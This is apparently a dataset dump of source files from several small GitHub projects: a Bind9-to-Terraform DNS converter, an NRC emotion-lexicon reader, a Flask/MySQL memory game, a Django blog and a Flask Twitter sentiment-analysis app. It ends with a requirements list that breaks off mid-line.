False\n\n\ndef mx(record):\n match = re.match(MX, record)\n if match:\n resource = fix(match.group(1))\n if resource in resources['MX']:\n return False\n resources['MX'][resource] = {\n 'name': match.group(1),\n 'priority': match.group(3),\n 'ttl': match.group(2),\n 'value': match.group(4).strip('.')\n }\n return True\n return False\n\n\ndef srv(record):\n match = re.match(SRV, record)\n if match:\n resource = fix(match.group(1))\n if resource in resources['SRV']:\n return False\n resources['SRV'][resource] = {\n 'data_name': match.group(4),\n 'name': match.group(1),\n 'port': match.group(8),\n 'priority': match.group(6),\n 'proto': match.group(3),\n 'service': match.group(2),\n 'target': match.group(9),\n 'ttl': match.group(5),\n 'weight': match.group(7)\n }\n return True\n return False\n\n\ndef txt(record):\n match = re.match(TXT, record)\n if match:\n resource = fix(match.group(1))\n if resource in resources['TXT']:\n return False\n value = match.group(3).replace('\"', '')\n if re.match(r'.*DKIM', value):\n value = '; '.join(re.sub(pattern=r'\\s+|\\\\;', repl='', string=value).split(';')).strip()\n # Silently ignore TXT records with empty string values as not supported by CloudFlare\n if not value:\n return True\n resources['TXT'][resource] = {\n 'name': match.group(1),\n 'ttl': match.group(2),\n 'value': value\n }\n return True\n return False\n\n\ndef parse_arguments():\n \"\"\"\n Function to handle argument parser configuration (argument definitions, default values and so on).\n :return: :obj:`argparse.ArgumentParser` object with set of configured arguments.\n :rtype: argparse.ArgumentParser\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-f',\n '--file',\n help='Path to the Bind9 zone file to be converted',\n required=True,\n type=str\n )\n parser.add_argument(\n '-i',\n '--zone-id',\n default=str(),\n help='Optional CloudFlare zone ID',\n type=str\n )\n parser.add_argument(\n '-n',\n '--zone-name',\n default=str(),\n help='Optional CloudFlare zone name',\n type=str\n )\n return parser\n\n\ndef parse_zone(zone_file):\n with open(zone_file, 'r') as fp:\n for record in fp.read().split('\\n'):\n if not comment(record=record):\n if a(record=record):\n continue\n if aaaa(record=record):\n continue\n if cname(record=record):\n continue\n if mx(record=record):\n continue\n if srv(record=record):\n continue\n if txt(record=record):\n continue\n print(record)\n\n\ndef render(known_args):\n env = jinja2.Environment(loader=jinja2.PackageLoader('terraform_named_cloudflare', 'templates'))\n template = env.get_template('variables.tf.j2')\n with open('variables.tf', 'w') as target:\n target.write(template.render(cloudflare_zone_id=known_args.zone_id, cloudflare_zone_name=known_args.zone_name))\n for item in resources:\n template = env.get_template('{}.tf.j2'.format(item))\n with open('{}.tf'.format(item), 'w') as target:\n target.write(template.render(resources=resources[item]))\n\n\ndef main():\n known_args, unknown_args = parse_arguments().parse_known_args()\n parse_zone(zone_file=known_args.file)\n render(known_args)\n\n\nif __name__ == '__main__':\n main()\n" } ]
4
mhbashari/NRC-Persian-Lexicon
https://github.com/mhbashari/NRC-Persian-Lexicon
0a0a22aac89e75c454da0ba83a34c96527198e5e
31059d45535f76a9fc875bf5f8a375746ad27a6b
d3c0eae8e6a2b1a3a7410e45b75149bf38875238
refs/heads/master
2023-01-08T18:33:51.798353
2022-12-21T13:12:48
2022-12-21T13:12:48
54,143,551
37
8
null
null
null
null
null
[ { "alpha_fraction": 0.48184818029403687, "alphanum_fraction": 0.4925742447376251, "avg_line_length": 34.64706039428711, "blob_id": "e8faeaee0b59b09a5c29c6cd08672fc62b20c398", "content_id": "e45e7029b01f10751f2d193864d2ed749c942b98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1212, "license_type": "no_license", "max_line_length": 90, "num_lines": 34, "path": "/NRCReader.py", "repo_name": "mhbashari/NRC-Persian-Lexicon", "src_encoding": "UTF-8", "text": "__author__ = 'mhbashari'\n\n\nclass NRCReader:\n def __init__(self, NRCAddress=\"NRC-emotion-lexicon-wordlevel-alphabetized-v0.92.txt\"):\n self.nrc_address = NRCAddress\n self.data = {}\n\n def load(self):\n with open(self.nrc_address, \"r\", encoding=\"utf-8\") as nrc_file:\n for line in nrc_file.readlines():\n splited = line.replace(\"\\n\", \"\").split(\"\\t\")\n word, emotion, value = splited[0], splited[1], splited[2]\n if word in self.data.keys():\n self.data[word].append((emotion, int(value)))\n else:\n self.data[word] = [(emotion, int(value))]\n\n def vectorize(self, sentence:list):\n out = {}\n for word in sentence:\n if word in self.data.keys():\n for item in self.data[word]:\n if word in out.keys():\n out[word] += (item[0], item[1])\n else:\n out[word] = (item[0], item[1])\n return out\n\n def get_emotion(self, word, emotion):\n emotions = self.data[word]\n for emot in emotions:\n if emot[0] == emotion:\n return emot[1]\n" }, { "alpha_fraction": 0.6176664233207703, "alphanum_fraction": 0.6308503746986389, "avg_line_length": 40, "blob_id": "727c952ef045b3fe1439fe64fa1314ebc18edf18", "content_id": "6ecec736fb60e0c0fa5ac72cf2159dff4ae9989e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1517, "license_type": "no_license", "max_line_length": 107, "num_lines": 37, "path": "/NRCPersianLexiconMatch.py", "repo_name": "mhbashari/NRC-Persian-Lexicon", "src_encoding": "UTF-8", "text": "__author__ = 'mhbashari'\n\nimport xlrd as xrd\n\n\nclass ExcelReader:\n def __init__(self, excel_address=\"NRC-Emotion-Lexicon-v0.92-InManyLanguages-web.xlsx\"):\n self.excel_address = excel_address\n self.data = {}\n\n def load(self, col_idx=22): # default for persian (in current version)\n xl_workbook = xrd.open_workbook(self.excel_address)\n sheet_names = xl_workbook.sheet_names()\n xl_sheet = xl_workbook.sheet_by_name(sheet_names[0])\n for row_idx in range(1, xl_sheet.nrows):\n translation = xl_sheet.cell(row_idx, col_idx) # Get cell object by row, col\n english = xl_sheet.cell(row_idx, 0) # Get cell object by row, col\n if translation.value is not None and len(translation.value) > 0:\n self.data[english.value] = translation.value\n\n def get_translation(self, word):\n return self.data[word]\n\n def has_key(self, key):\n return key in self.data.keys()\n\n\nif __name__ == \"__main__\":\n reader = ExcelReader()\n reader.load()\n engligh_text_file = open(\"NRC-emotion-lexicon-wordlevel-alphabetized-v0.92.txt\", \"r\", encoding=\"utf-8\")\n destionation_text_file = open(\"NRC-emotion-lexicon-wordlevel-persian-v0.92.txt\", \"w\", encoding=\"utf-8\")\n for line in engligh_text_file.readlines():\n spl = line.split(\"\\t\")\n word, emotion, value = spl[0], spl[1], spl[2]\n if reader.has_key(word):\n destionation_text_file.write(\"\\t\".join([reader.get_translation(word), emotion, value]))\n" }, { "alpha_fraction": 0.8048780560493469, "alphanum_fraction": 0.8062330484390259, "avg_line_length": 91.125, "blob_id": "b246a9898e7e47d9ffdfd46deb67ec9cec4f5625", "content_id": "c2a84c54d60156b8152d44f69d335c4699fb86d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 738, "license_type": "no_license", "max_line_length": 328, "num_lines": 8, "path": "/README.md", "repo_name": "mhbashari/NRC-Persian-Lexicon", "src_encoding": "UTF-8", "text": "# NRC-Persian-Lexicon\nNRC Word-Emotion Association Lexicon useful for persian sentiment analysis\n\nThe [NRC Emotion Lexicon](http://saifmohammad.com/WebPages/NRC-Emotion-Lexicon.htm) is a list of English words and their associations with eight basic emotions (anger, fear, anticipation, trust, surprise, sadness, joy, and disgust) and two sentiments (negative and positive). The annotations were manually done by crowdsourcing.\n## Persian Translation of The Lexicon\nThere is an Excel file that contains the translation (Google Translate) of the english words (without complete coverage on all languages).I wrote a small code to combine the main text file (containing emotion annotations) and Excel translation file.\n## Dependency\n1. xlrd\n\n" } ]
3
Nahu258/memory_game
https://github.com/Nahu258/memory_game
68021d57d72c6e717c119960897e616c7981de71
cf1eac948b3fe6eee3c84071f3fd93300810ffcc
72aa99f14df30b539558efe06211e1335d0c0823
refs/heads/main
2023-06-16T01:09:24.342198
2021-07-13T11:07:16
2021-07-13T11:07:16
384,984,367
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5535473227500916, "alphanum_fraction": 0.5705422163009644, "avg_line_length": 26.53076934814453, "blob_id": "786c4f3c2eec34b07a0396c3b4bf8e3873443935", "content_id": "bee2bfab72069cb6306fa785f6fd21e871215e0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3707, "license_type": "no_license", "max_line_length": 91, "num_lines": 130, "path": "/static/js/script.js", "repo_name": "Nahu258/memory_game", "src_encoding": "UTF-8", "text": "function generarTablero() {\r\n let x = 0;\r\n let tiempo = document.getElementById('estadisticas');\r\n let boton = document.querySelector(\"button\");\r\n let tablero = document.getElementById(\"tablero\");\r\n let tarjetas = [];\r\n for (let i = 0; i < 20; i++) {\r\n tarjetas.push(`\r\n <div class=\"tarjeta\" onclick=\"mostrar('tarjeta${i}')\">\r\n <img id=\"tarjeta${i}\" class=\"imagen\" src=\"../static/img/avatar_${x}.svg\"alt=\"\">\r\n </div>\r\n `)\r\n x++\r\n if (x > 9) {\r\n x = 0\r\n }\r\n }\r\n tarjetas.sort(() => Math.random() - 0.5);\r\n tablero.innerHTML = tarjetas.join(\" \");\r\n iniciarContador();\r\n tiempo.style.display = 'flex'\r\n boton.style.display = 'none'\r\n}\r\n\r\nlet verificador = false;\r\nlet [tiempo, intervalo] = [0,0];\r\nfunction iniciarContador() {\r\n let cronometro = document.getElementById('cronometro');\r\n if (verificador == false) {\r\n intervalo = setInterval(function() {\r\n tiempo += 0.01;\r\n cronometro.innerHTML = tiempo.toFixed(1);\r\n }, 10);\r\n verificador = true;\r\n } else{\r\n verificador = false;\r\n clearInterval(intervalo)\r\n tiempoFinal = convertirTiempo(tiempo.toFixed(1))\r\n console.log(tiempoFinal)\r\n mostrarOverlay(tiempoFinal, fallos)\r\n }\r\n}\r\n\r\nfunction mostrarOverlay(tiempofinal, errores) {\r\n let overlay = document.getElementById('overlay');\r\n let tiempo = document.getElementById('tiempo');\r\n let fallos = document.getElementById('errores');\r\n overlay.classList.add('active')\r\n\r\n fallos.value = errores;\r\n tiempo.value = tiempofinal;\r\n \r\n}\r\n\r\nfunction convertirTiempo(segundos) {\r\n let minutos = 0;\r\n let prueba = segundos[3]\r\n if (prueba == '.') {\r\n ms = parseInt(segundos[4])\r\n } else{\r\n ms = parseInt(segundos[3])\r\n }\r\n \r\n while (segundos >= 60) {\r\n segundos -= 60\r\n minutos ++\r\n }\r\n segundos = Math.trunc(segundos)\r\n let cadena = `${minutos}:${segundos}:${ms}`\r\n return cadena\r\n}\r\n\r\nlet selecciones = [];\r\nlet seleccionesId = [];\r\nfunction mostrar(id){\r\n x = id.slice(-1)\r\n x = 'tarjeta' + x\r\n let tarjeta = document.getElementById(id)\r\n\r\n if (tarjeta.style.transform != \"rotateY(360deg)\") {\r\n tarjeta.style.transform = \"rotateY(360deg)\"\r\n selecciones.push(x);\r\n seleccionesId.push(id);\r\n\r\n if (selecciones.length == 2) {\r\n verificar(seleccionesId, selecciones)\r\n selecciones = []\r\n seleccionesId = []\r\n }\r\n }\r\n}\r\n\r\nlet aciertos = 0;\r\nlet fallos = 0;\r\nlet pintados = 0;\r\nfunction verificar(seleccionesId, selecciones) {\r\n setTimeout(() => {\r\n let tarjeta1 = document.getElementById(selecciones[0])\r\n let tarjeta2 = document.getElementById(selecciones[1])\r\n let idTarj1 = document.getElementById(seleccionesId[0])\r\n let idTarj2 = document.getElementById(seleccionesId[1])\r\n\r\n if (tarjeta1 == tarjeta2) {\r\n idTarj1.style.background = \"plum\"\r\n idTarj2.style.background = \"plum\"\r\n pintados += 2\r\n aciertos++\r\n } else{\r\n idTarj1.style.transform = \"rotateY(180deg)\"\r\n idTarj2.style.transform = \"rotateY(180deg)\"\r\n\r\n fallos++\r\n }\r\n aciertosFallos(aciertos, fallos)\r\n verificarTotal(pintados)\r\n }, 1000)\r\n}\r\n\r\nfunction aciertosFallos(aciertos, fallos) {\r\n let a = document.getElementById('aciertos');\r\n let f = document.getElementById('fallos');\r\n a.innerHTML = aciertos;\r\n f.innerHTML = fallos;\r\n}\r\n\r\nfunction verificarTotal(pintados) {\r\n if (pintados == 20) {\r\n iniciarContador()\r\n }\r\n}" }, { "alpha_fraction": 0.6117342710494995, "alphanum_fraction": 0.6151854991912842, "avg_line_length": 27.769229888916016, "blob_id": "011021cd056acde9bbdb57b189d6fe27e1265edc", "content_id": "bf1222394d8d48baa4edb2e18403f177933641d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1159, "license_type": "no_license", "max_line_length": 82, "num_lines": 39, "path": "/app.py", "repo_name": "Nahu258/memory_game", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, redirect, url_for\r\nimport mysql.connector\r\napp = Flask(__name__)\r\n\r\nmidb = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"Nahu\",\r\n password=\"3757\",\r\n database=\"prueba\"\r\n)\r\n\r\ncursor = midb.cursor()\r\n\r\[email protected]('/')\r\ndef Index():\r\n return render_template('index.html')\r\n\r\[email protected]('/ranking', methods=['POST', 'GET'])\r\ndef ranking():\r\n cursor.execute('select * from Puntajes order by tiempo, errores')\r\n puntajes = cursor.fetchall()\r\n return render_template('ranking.html', puntajes=puntajes)\r\n\r\[email protected]('/post_ranking', methods=['POST', 'GET'])\r\ndef post_ranking():\r\n if request.method == 'POST':\r\n nombre = request.form['nombre']\r\n tiempo = request.form['tiempo']\r\n errores = request.form['errores']\r\n sql = \"insert into Puntajes (nombre, tiempo, errores) values (%s, %s, %s)\"\r\n values = (nombre, tiempo, errores)\r\n cursor.execute(sql, values)\r\n midb.commit()\r\n return redirect(url_for('ranking'))\r\n return 'received'\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(host=\"localhost\", port=8000, debug=True)" }, { "alpha_fraction": 0.6193181872367859, "alphanum_fraction": 0.6193181872367859, "avg_line_length": 18.55555534362793, "blob_id": "09e06aeba6d4015760683a9b8804f7e025fcb917", "content_id": "eeb8b0d3805544e1946dcf2489b886f01e89c696", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 176, "license_type": "no_license", "max_line_length": 43, "num_lines": 9, "path": "/README.md", "repo_name": "Nahu258/memory_game", "src_encoding": "UTF-8", "text": "# memory_game\n\n## Venv:\n**python -m venv [name]** <br>\n**. [name]/scripts/activate** <br>\n\n## Packages: \n**pip install Flask** <br>\n**pip install mysql-connector-python** <br>\n" } ]
3
AvatarSenju/django-first
https://github.com/AvatarSenju/django-first
6acff9650ad100197bbbeca4e6acc125fb316255
3044a361fc1032c88a21b340b0d2fa7130c9d6c6
4990feeda2ab3d91f8c4c64a32b6d37a35c1d64a
refs/heads/master
2021-03-30T20:45:42.257010
2018-03-11T20:19:29
2018-03-11T20:19:29
124,441,642
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6656217575073242, "alphanum_fraction": 0.6739811897277832, "avg_line_length": 29.870967864990234, "blob_id": "9fa0e525b27c9468e0f5b4bd8029c2af087c0636", "content_id": "bb92ea0bd157452f4b98f10408dfcea867bc0830", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1914, "license_type": "no_license", "max_line_length": 64, "num_lines": 62, "path": "/posts/views.py", "repo_name": "AvatarSenju/django-first", "src_encoding": "UTF-8", "text": "from django.contrib import messages\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render,get_object_or_404,redirect\n#from bs4 import BeautifulSoup\n\nfrom .models import Post\nfrom .forms import PostForm\n# Create your views here.\ndef create(request):\n form =PostForm(request.POST or None)\n if form.is_valid():\n instance = form.save(commit = False)\n instance.save()\n messages.success(request,\"Success\")\n return HttpResponseRedirect(instance.get_absolute_url())\n # else:\n # messages.error(request,\"NOT DONE\")\n context = {\n \"form\":form,\n }\n return render(request,\"post_form.html\",context)\ndef details(request,id):\n instance = get_object_or_404(Post,id=id)\n context ={\n \"title\":instance.title,\n \"instance\":instance\n }\n return render(request,\"post_details.html\",context)\ndef update(request,id=None ):\n instance = get_object_or_404(Post,id=id)\n form =PostForm(request.POST or None ,instance=instance)\n if form.is_valid():\n instance = form.save(commit = False)\n instance.save()\n messages.success(request,\"Success\")\n return HttpResponseRedirect(instance.get_absolute_url())\n\n # else:\n # messages.error(request,\"NOT DONE\")\n context ={\n \"title\":instance.title,\n \"instance\":instance,\n \"form\":form,\n }\n\n return render(request,\"post_form.html\",context)\ndef retrive(request,id=None):\n ins=get_object_or_404(Post,id=id)\n context={\"title\":ins.updated}\n return render(request,\"base.html\",context)\ndef delete(request,id=None):\n instance = get_object_or_404(Post,id=id)\n messages.success(request,\"Deleted\")\n instance.delete()\n return redirect(\"posts:lists\")\ndef listss(request):\n queryset = Post.objects.all()\n context = {\n \"object_list\":queryset,\n \"title\":\"List\"\n }\n return render(request,\"post_list.html\",context)\n" }, { "alpha_fraction": 0.7903226017951965, "alphanum_fraction": 0.7903226017951965, "avg_line_length": 30, "blob_id": "50be679c816c7f9e05243c4f76cd860eb6da6487", "content_id": "cd06ed3efe9ebfa98f3de3a50f32baf2f1c6a1ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 62, "license_type": "no_license", "max_line_length": 46, "num_lines": 2, "path": "/README.md", "repo_name": "AvatarSenju/django-first", "src_encoding": "UTF-8", "text": "# django-first\nThis is a trial blog web application on django\n" }, { "alpha_fraction": 0.7392857074737549, "alphanum_fraction": 0.7392857074737549, "avg_line_length": 30.11111068725586, "blob_id": "7c09b40b1e8a6d54c952157df8284ed5698e5244", "content_id": "b497da334892e6ac187665ff26e063be4a04358b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 280, "license_type": "no_license", "max_line_length": 56, "num_lines": 9, "path": "/posts/admin.py", "repo_name": "AvatarSenju/django-first", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom posts.models import Post\n# Register your models here.\n\nclass PostModel(admin.ModelAdmin):\n list_display=[\"title\",\"updated\",\"timestamp\",\"title\"]\n list_display_links=[\"title\"]\n list_filter=[\"title\"]\nadmin.site.register(Post,PostModel)\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.625, "avg_line_length": 32.599998474121094, "blob_id": "e4996be3c9c99308519c02ea81a2896cf77b8cfd", "content_id": "97c580daf01f835a3364b0887a9196ece3db89f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 504, "license_type": "no_license", "max_line_length": 66, "num_lines": 15, "path": "/posts/urls.py", "repo_name": "AvatarSenju/django-first", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path,re_path\nfrom . import views as v\n\napp_name=\"posts\"\n\nurlpatterns = [\n path('',v.listss,name='lists'),\n path('create', v.create, name='create'),\n path('edit/<int:id>/', v.update, name='update'),\n path('retrive/<int:id>/', v.retrive, name='retrive'),\n# re_path(r'^retrive/(?P<id>\\d+)/$', v.retrive, name='retrive'),\n path('details/<int:id>/', v.details, name='details'),\n path('delete/<int:id>/', v.delete, name='delete'),\n]\n" }, { "alpha_fraction": 0.7036363482475281, "alphanum_fraction": 0.7090908885002136, "avg_line_length": 27.947368621826172, "blob_id": "9a135c3ddc941178b5e994e58d6feb23c8548590", "content_id": "074d448a230f62200428ffa16d30ea1d982db0da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 550, "license_type": "no_license", "max_line_length": 68, "num_lines": 19, "path": "/posts/models.py", "repo_name": "AvatarSenju/django-first", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom django.db import models\nfrom django.urls import reverse\n\n# Create your models here.\n#MVC\nclass Post(models.Model):\n title=models.CharField(max_length=120)\n\n content=models.TextField()\n updated=models.DateTimeField(auto_now=True,auto_now_add=False)\n timestamp=models.DateTimeField(auto_now=False,auto_now_add=True)\n\n\n def __str__(self):\n return self.title\n def get_absolute_url(self):\n return reverse(\"posts:details\", kwargs={\"id\": self.id})\n #kwargs need dictionary\n" } ]
5
RKirlew/Flask-Twitter-Sentiment-Analysis
https://github.com/RKirlew/Flask-Twitter-Sentiment-Analysis
9fd1079f0f18b02542a77c0c274a74bcd4a36668
dd4452928060030d554333f72c577f300db01bb6
075dc5a6ef81510a8c51908aab1c8dd00f1b1adb
refs/heads/master
2023-04-28T09:20:33.892791
2023-01-25T07:39:23
2023-01-25T07:39:23
216,244,515
1
0
null
2019-10-19T17:27:20
2023-01-25T07:11:01
2023-04-21T22:25:36
HTML
[ { "alpha_fraction": 0.6683991551399231, "alphanum_fraction": 0.6767151951789856, "avg_line_length": 26.098590850830078, "blob_id": "17b5f541dd30f07b397312268ba9f5cf54f38e8e", "content_id": "0f5f5bc54ab547992acbcdbc8bfeaafb23c99a78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1924, "license_type": "no_license", "max_line_length": 167, "num_lines": 71, "path": "/app.py", "repo_name": "RKirlew/Flask-Twitter-Sentiment-Analysis", "src_encoding": "UTF-8", "text": "from flask import Flask\nimport tweepy\nfrom tweepy import OAuthHandler\nfrom flask import Flask, flash,render_template,request,redirect,url_for\nimport pymysql.cursors\nimport re\nfrom textblob import TextBlob\n\napp=Flask(__name__)\napp.secret_key=\"flash message\"\ndef clean_tweet(tweet): \n ''' \n Utility function to clean tweet text by removing links, special characters \n using simple regex statements. \n '''\n return ' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t]) |(\\w+:\\/\\/\\S+)\", \" \", str(tweet)).split()) \n\n\[email protected](\"/\")\n\ndef Index():\n\t\n\treturn render_template('index.html')\n\[email protected](\"/search\",methods=['POST','GET'])\n\ndef search():\n\tpositive_ratio=0\n\tnegative_ratio=0\n\tpTweets=[]\n\tnTweets=[]\n\tneTweets=[]\n\tneutral_ratio=0\n\tsakdk=0\n\tif request.method==\"POST\":\n\t\tconsumer_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxx'\n\t\tconsumer_secret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'\n\t\taccess_token = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'\n\t\taccess_token_secret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'\n\t\tauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\t\t# set access token and secret\n\t\tauth.set_access_token(access_token, access_token_secret)\n\t\t# create tweepy API object to fetch tweets\n\t\tapi = tweepy.API(auth)\n\t\tsearch=request.form['search']\n\t\tif '@'in search:\n\t\t\tusers=api.get_user(screen_name=search)\n\t\t#user_img=users.profile_image_url\n\t\tfetched_tweets=api.search(q=search,count=100)\n\t\tfor tweet in fetched_tweets:\n\t\t\tanalysis=TextBlob(clean_tweet(tweet.text))\n\t\t\tif analysis.sentiment.polarity>0:\n\t\t\t\tpositive_ratio+=1\n\t\t\t\tpTweets.append(tweet.text)\n\t\t\telif analysis.sentiment.polarity==0:\n\t\t\t\tneutral_ratio+=1\n\t\t\t\tneTweets.append(tweet.text)\n\t\t\telse:\n\t\t\t\tnegative_ratio+=1\n\t\t\t\tnTweets.append(tweet.text)\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\treturn render_template('results.html',results=pTweets,pNum=positive_ratio,nNum=negative_ratio,iSearch=search,neNum=neutral_ratio,resultsN=nTweets,resultsNe=neTweets)\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\nif __name__==\"__main__\":\n\tapp.run(debug=True)\n" }, { "alpha_fraction": 0.5093845725059509, "alphanum_fraction": 0.7051506042480469, "avg_line_length": 17.327999114990234, "blob_id": "854b936de099597b11a545f4d495bfffc3eed885", "content_id": "d43ef20dc9274f52b71e084c1e88b41beceee1d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 4582, "license_type": "no_license", "max_line_length": 37, "num_lines": 250, "path": "/requirements.txt", "repo_name": "RKirlew/Flask-Twitter-Sentiment-Analysis", "src_encoding": "UTF-8", "text": "absl-py==0.13.0\naiohttp==3.7.4.post0\nanyio==3.6.1\nappdirs==1.4.4\nasgiref==3.5.2\nastunparse==1.6.3\nasync-generator==1.10\nasync-timeout==3.0.1\natomicwrites==1.4.0\nattr==0.3.1\nattrs==21.2.0\naudioread==2.1.9\nazure-core==1.24.1\nazure-storage-blob==12.12.0\nbeautifulsoup4==4.11.1\nboto==2.49.0\nboto3==1.16.63\nbotocore==1.19.63\nboxing==0.1.4\nbs4==0.0.1\ncachetools==4.2.2\ncertifi==2021.5.30\ncffi==1.14.6\nchardet==4.0.0\ncharset-normalizer==2.0.2\nclick==8.0.1\ncolorama==0.4.4\ncoreapi==2.3.3\ncoreschema==0.0.4\ncryptography==37.0.2\ncycler==0.10.0\nCython==0.29.24\ndecorator==5.0.9\ndecouple==0.0.7\ndefusedxml==0.7.1\nDeprecated==1.2.13\ndiffusers==0.2.4\ndill==0.3.4\ndiscord.py==1.7.3\ndistlib==0.3.2\nDjango==3.1.14\ndjango-annoying==0.10.6\ndjango-cors-headers==3.6.0\ndjango-debug-toolbar==3.2.1\ndjango-extensions==3.1.0\ndjango-filter==2.4.0\ndjango-model-utils==4.1.1\ndjango-ranged-fileresponse==0.1.2\ndjango-rest-swagger==2.2.0\ndjango-rq==2.5.1\ndjango-user-agents==0.4.0\ndjangorestframework==3.13.1\ndocopt==0.6.2\ndrf-dynamic-fields==0.3.0\ndrf-flex-fields==0.9.5\ndrf-generators==0.3.0\ndrf-yasg==1.20.0\net-xmlfile==1.1.0\nexceptiongroup==1.0.0rc9\nexpiringdict==1.1.4\nffmpeg==1.4\nfilelock==3.0.12\nFlask==2.0.1\nflatbuffers==1.12\ngast==0.4.0\ngcloud==0.17.0\ngdata==2.0.18\ngoogle-api-core==1.31.5\ngoogle-auth==1.35.0\ngoogle-auth-oauthlib==0.4.4\ngoogle-cloud-appengine-logging==1.1.0\ngoogle-cloud-audit-log==0.2.0\ngoogle-cloud-core==1.5.0\ngoogle-cloud-logging==2.7.2\ngoogle-cloud-storage==1.29.0\ngoogle-pasta==0.2.0\ngoogle-resumable-media==0.5.1\ngoogleapis-common-protos==1.52.0\ngrpc-google-iam-v1==0.12.3\ngrpcio==1.34.1\nh11==0.12.0\nh5py==3.1.0\nholehe==1.61\nhtmlmin==0.1.12\nhttpcore==0.15.0\nhttplib2==0.20.2\nhttpx==0.23.0\nhuggingface-hub==0.8.1\nidna==3.2\nimageai==2.1.5\nimportlib-metadata==4.12.0\ninflect==5.3.0\ninflection==0.5.1\niniconfig==1.1.1\ninstall==1.3.5\nisodate==0.6.1\nitsdangerous==2.0.1\nitypes==1.2.0\nJinja2==3.0.1\njmespath==0.10.0\njoblib==1.0.1\njsonpatch==1.32\njsonpointer==2.1\njsonschema==3.2.0\njws==0.1.3\nkeras-nightly==2.5.0.dev2021032900\nKeras-Preprocessing==1.1.2\nkiwisolver==1.3.1\nlabel-studio==1.5.0\nlabel-studio-converter==0.0.40\nlabel-studio-tools==0.0.0.dev14\nlaunchdarkly-server-sdk==7.3.0\nlcu-driver==2.1.3\nlibrosa==0.8.1\nllvmlite==0.36.0\nlockfile==0.12.2\nlxml==4.9.0\nMarkdown==3.3.4\nMarkupSafe==2.0.1\nmatplotlib==3.4.2\nmediapipe==0.8.6\nMouseInfo==0.1.3\nmsrest==0.7.1\nmss==6.1.0\nmultidict==5.2.0\nmultiprocess==0.70.12.2\nnltk==3.6.7\nnumba==0.53.1\nnumpy==1.24.1\noauth2client==3.0.0\noauthlib==3.2.0\nopenai==0.22.1\nopenapi-codec==1.3.2\nopencv-contrib-python==4.5.3.56\nopencv-python==4.5.2.54\nopenpyxl==3.0.10\nopt-einsum==3.3.0\nordered-set==4.0.2\noutcome==1.2.0\npackaging==21.0\npafy==0.5.5\npandas==1.3.5\npandas-stubs==1.4.3.220815\nPillow==9.0.1\npipreqs==0.4.11\npluggy==1.0.0\npooch==1.4.0\nproto-plus==1.20.6\nprotobuf==3.20.1\npsutil==5.8.0\npsycopg2-binary==2.9.1\npy==1.11.0\npyasn1==0.4.8\npyasn1-modules==0.2.8\nPyAutoGUI==0.9.53\npycparser==2.20\npycryptodome==3.4.3\npydantic==1.8.2\npygame==2.1.2\nPyGetWindow==0.0.9\nPyMsgBox==1.0.9\npynndescent==0.5.4\npyparsing==2.4.7\npyperclip==1.8.2\nPyQt5==5.15.4\nPyQt5-Qt5==5.15.2\nPyQt5-sip==12.9.0\nPyrebase==3.0.27\nPyRect==0.1.4\npyRFC3339==1.1\npyrsistent==0.18.1\nPyScreeze==0.1.28\nPySocks==1.7.1\npytesseract==0.3.8\npytest==7.0.1\npython-dateutil==2.8.1\npython-dotenv==0.19.1\npython-jwt==2.0.1\npytweening==1.0.4\npytz==2019.3\npywin32==302\nPyYAML==6.0\npyzmq==22.1.0\nredis==4.3.4\nregex==2022.6.2\nrequests==2.27.1\nrequests-oauthlib==1.3.0\nrequests-toolbelt==0.7.0\nresampy==0.2.2\nrfc3986==1.5.0\nrq==1.10.1\nrsa==4.7.2\nruamel.yaml==0.17.21\nruamel.yaml.clib==0.2.6\nrules==2.2\ns3transfer==0.3.7\nscapy==2.4.5\nscikit-learn==0.24.2\nscipy==1.9.1\nsemver==2.13.0\nsentry-sdk==1.6.0\nsimplejson==3.17.6\nsix==1.15.0\nsniffio==1.3.0\nsortedcontainers==2.4.0\nsounddevice==0.4.2\nSoundFile==0.10.3.post1\nsoupsieve==2.3.2.post1\nsqlparse==0.4.2\nstripe==2.60.0\ntensorboard==2.5.0\ntensorboard-data-server==0.6.1\ntensorboard-plugin-wit==1.8.0\ntensorflow==2.5.0\ntensorflow-estimator==2.5.0\ntermcolor==1.1.0\ntesseract==0.1.3\nthreadpoolctl==2.2.0\ntinydb==4.